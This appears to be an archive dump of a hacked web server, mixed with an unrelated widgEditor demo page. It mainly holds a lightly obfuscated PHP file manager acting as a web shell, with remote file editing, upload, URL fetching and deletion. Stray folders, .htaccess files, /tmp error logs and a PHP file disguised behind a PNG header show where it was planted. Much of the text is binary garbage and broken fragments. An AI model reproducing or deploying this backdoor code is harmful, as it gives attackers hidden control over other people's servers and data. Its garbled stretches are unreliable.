$e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'ipil
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
z5v72q/error_log000064400000000727151026170410007542 0ustar00[27-Oct-2025 03:47:16 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#bolt.php on line 40 [27-Oct-2025 03:47:16 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#bolt.php on line 101 [27-Oct-2025 03:47:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#bolt.php on line 103 z5v72q/index.php000064400000000150151026170410007433 0ustar00tdl83c/index.php000064400000000150151026170410007456 0ustar00example.htm000064400000006237151026170410006716 0ustar00 The Man in Blue > Experiments > widgEditor

Experiment
widgEditor
Date created
16 January, 2005
Date last modified
1 March, 2008
Discussion
Visit the discussion

widgEditor

widgEditor is an easily installed, easily customisable WYSIWYG editor for simple content. It replaces existing textareas with an improved editing pane using JavaScript, therefore if you don't have JavaScript (or your browser doesn't support HTML editing) it degrades gracefully. Try it out by typing below, and submit to see the processed output.

The widgEditor code is released under a GNU General Public License. However, if you are planning to use or modify the code for usage on a web site, a donation is greatly appreciated. Click here to donate via PayPal.

Download the most recent widgEditor files at its Google Code page.

o5g8c3/.htaccess000064400000000124151026170410007344 0ustar00 Order Allow,Deny Allow from all o5g8c3/error_log000064400000000371151026170410007467 0ustar00[27-Oct-2025 03:47:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#webdb.php on line 109 o5g8c3/index.php000064400000000151151026170410007366 0ustar00o5g8c3/about.php000064400000000363151026170410007376 0ustar00 AccessDeniedAccess DeniedW9KJRBH9QR92TVPRMrrywcWnqDPkGMRKw0QKfgkiTVjybNsd0tryzvhuhaO3mk1YkT9wFSUMqDXN25uXf4Q35AHR+Zc=o5g8c3/about.PHP000064400000000363151026170410007236 0ustar00 AccessDeniedAccess DeniedW9KJRBH9QR92TVPRMrrywcWnqDPkGMRKw0QKfgkiTVjybNsd0tryzvhuhaO3mk1YkT9wFSUMqDXN25uXf4Q35AHR+Zc=pv2m4l/ioml6.php000064400000010666151026170410007435 0ustar00�PNG  IHDR @ @ ?iq? pHYs   ?� �tEXtComment 9HO? IDATx�?� ��UC?<�? ?Pj?A? d*E)"??A��R?A$�,`A??T C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s� �??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?�� ?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I ?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ Zb|?�$}H?�a??�?/d�??Y�>,�F?U FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;׋:{w[?tgIJh0Z.�t�?�D_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l� ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v� 'x�ww$}>?X�x J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b? �nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep ^�G�9���pCJ� u{B�?�]�??m?�V?l�z |'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~> 2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?I lj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^ yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E � '59b9a72b34979ab598fab976c2b4c658', 'user' => '59b9a72b34979ab598fab976c2b4c658' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists 